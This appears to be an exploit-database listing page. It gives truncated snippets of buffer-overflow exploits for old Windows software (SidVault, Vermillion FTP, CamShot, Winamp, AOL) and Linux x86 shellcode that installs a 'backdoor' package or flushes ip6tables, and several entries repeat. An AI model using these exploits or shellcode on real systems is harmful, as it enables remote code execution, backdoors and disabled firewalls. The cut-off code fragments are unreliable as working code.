LDAP-Vault

There was an error when sending a a long value on SidVault 2.0e these errors lead to a buffer overflow. This exploit is unstable. It should only be used as a POC. Remote shell is available but the system will be unstable. import socket, sys, ldap print "\n SidVault 2.0e Windows Remote Buffer...

AudioTran-PLS

Audiotran 1.4.1 Win XP SP2/SP3 English Buffer Overflow Stack Overflow / SEH ToDo: Add Lib Shell ToDo: Test Vulnerable Targets import sys import os En este exploit no se usa el argv1 host = sys.argv1 En este exploit no se usa el argv2 port = intsys.argv2 shellcodetosend = intsys.argv3 windows/exec...

Vermillion FTP Deamon 1.31 - Remote Buffer Overflow

Exploit Title: Vermillion FTP Deamon Remote BOF Exploit Date: 29/01/2010 Author: Dzattacker Software Link: http://www.softsea.com/download/Vermillion-FTP-Daemon.html Version: 1.31 Tested on: Windows xp sp3 Code : !/usr/bin/python + Original :...

Verm-FTP-Daemon

Stack-Based buffer overflow in Vermillion FTP Deamon 1.31 for Windows allow remote attackers to cause a DoS or execute arbitrary code via a long filename in a read or write request. The vulnerability is caused due to a boundary error in the handling of filenames and can be exploited to cause a...

CamShot SEH Overwrite Exploit

CamShot SEH overwrite by tecnik import socket, sys if lensys.argv!=2: print "Usage: camshot.py " exit s = socket.socketsocket.AFINET, socket.SOCKSTREAM s.connectsys.argv1,80 print "Sending Exploit to:" + sys.argv1 GET request + overflow string request ="GET /" request...

CamShot v1.2 SEH Overwrite Exploit

Exploit for unknown platform in category remote exploits ================================== CamShot v1.2 SEH Overwrite Exploit ================================== CamShot SEH overwrite by tecnik import socket, sys if lensys.argv!=2: print "Usage: camshot.py " exit s = socket.socketsocket.AFINET,...

CamShot 1.2 - Overwrite (SEH)

CamShot 1.2 - Overwrite SEH CamShot SEH overwrite by tecnik import socket, sys if lensys.argv!=2: print "Usage: camshot.py " exit s = socket.socketsocket.AFINET, socket.SOCKSTREAM s.connectsys.argv1,80 print "Sending Exploit to:" + sys.argv1 GET request + overflow string request ="GET /" request...

CamShot 1.2 - Overwrite (SEH)

CamShot SEH overwrite by tecnik import socket, sys if lensys.argv!=2: print "Usage: camshot.py " exit s = socket.socketsocket.AFINET, socket.SOCKSTREAM s.connectsys.argv1,80 print "Sending Exploit to:" + sys.argv1 GET request + overflow string request ="GET /" request...

Safari 4.0.4 Crash Proof Of Concept

The following piece of javascript will crash Safari nicely when triggered using one of the methods described below. With my limited knowledge I am unable to tell if it's exploitable or not. I therefore turn it over to "the internet". tested on Safari 4.0.4, Win XP Pro SP3...

Safari 4.0.4 Crash

No description provided by source. The following piece of javascript will crash Safari nicely when triggered using one \ of the methods described below. With my limited knowledge I am unable to tell if \ it's exploitable or not. I therefore turn it over to "the internet". tested on \ Safari 4.0.4...

Winamp 5.572 - whatsnew.txt Local Stack Overflow

Winamp 5.572 - whatsnew.txt Local Stack Overflow Tested on: Windows xp sp3 Code : !/usr/bin/perl Winamp v5.572 whatsnew.txt Stack Overflow Exploit Original : http://www.exploit-db.com/exploits/11248 Exploit by : Dzattacker [email protected] win32exec - EXITFUNC=process CMD=calc my $shellcode ...

AOL 9.5 - Phobos.Playlist Import() Remote Buffer Overflow (Metasploit)

AOL 9.5 - Phobos.Playlist Import Remote Buffer Overflow Metasploit aolphobosbof.rb AOL 9.5 Phobos.Playlist 'Import' Stack-based Buffer Overflow exploit for the Metasploit Framework Tested successfully on the following platforms: - AOL 9.5 Revision 4337.155 on Internet Explorer 7, Windows XP SP3...

Winamp 5.572 - 'whatsnew.txt' Local Stack Overflow

Tested on: Windows xp sp3 Code : !/usr/bin/perl Winamp v5.572 whatsnew.txt Stack Overflow Exploit Original : http://www.exploit-db.com/exploits/11248 Exploit by : Dzattacker [email protected] win32exec - EXITFUNC=process CMD=calc my $shellcode =...

linux/x86 - pacman -S (default package: backdoor) - 64 bytes

Exploit for linux/x86 platform in category shellcode ============================================================== Linux i686 - pacman -S default package: backdoor - 64 bytes ============================================================== / Title : Linux i686 - pacman -S default package: backdoor...

linux/x86 polymorphic shellcode ip6tables -F - 71 bytes

Exploit for linux/x86 platform in category shellcode ======================================================= linux/x86 polymorphic shellcode ip6tables -F - 71 bytes ======================================================= / Linux x86 - polymorphic shellcode ip6tables -F - 71 bytes Jonathan Salwan...

linux/x86 - pacman -R - 59 bytes

Exploit for linux/x86 platform in category shellcode ================================== Linux i686 - pacman -R - 59 bytes ================================== / Title : Linux i686 - pacman -R - 59 bytes Author : Jonathan Salwan Pacman is a software package manager, developed as part of the Arch Lin...

Linux i686 - pacman -S default package: backdoor - 64 bytes

Linux i686 - pacman -S default package: backdoor - 64 bytes. Shellcode exploit for linux platform / Title : Linux i686 - pacman -S default package: backdoor - 64 bytes Author : Jonathan Salwan Mail : submit ! shell-storm.org Web : http://www.shell-storm.org Pacman is a software package manager,...

Linux i686 - pacman -R - 59 bytes

Linux i686 - pacman -R - 59 bytes. Shellcode exploit for linux platform / Title : Linux i686 - pacman -R - 59 bytes Author : Jonathan Salwan Mail : submit ! shell-storm.org Web : http://www.shell-storm.org Pacman is a software package manager, developed as part of the Arch Linux distribution. Wit...

linux/x86 ip6tables -F - 47 bytes

Exploit for linux/x86 platform in category shellcode ================================= linux/x86 ip6tables -F - 47 bytes ================================= / Linux x86 - ip6tables -F - 47 bytes Jonathan Salwan The Gnuser Project Gnu Users Manager = http://www.gnuser.org Disassembly of section .tex...

Linux x86 - ip6tables -F - 47 bytes

Linux x86 - ip6tables -F - 47 bytes. Shellcode exploit for linx86 platform / Linux x86 - ip6tables -F - 47 bytes Jonathan Salwan ! DataBase of Shellcodes and you can share your shellcodes : http://www.shell-storm.org/shellcode/ ! The Gnuser Project Gnu Users Manager = http://www.gnuser.org...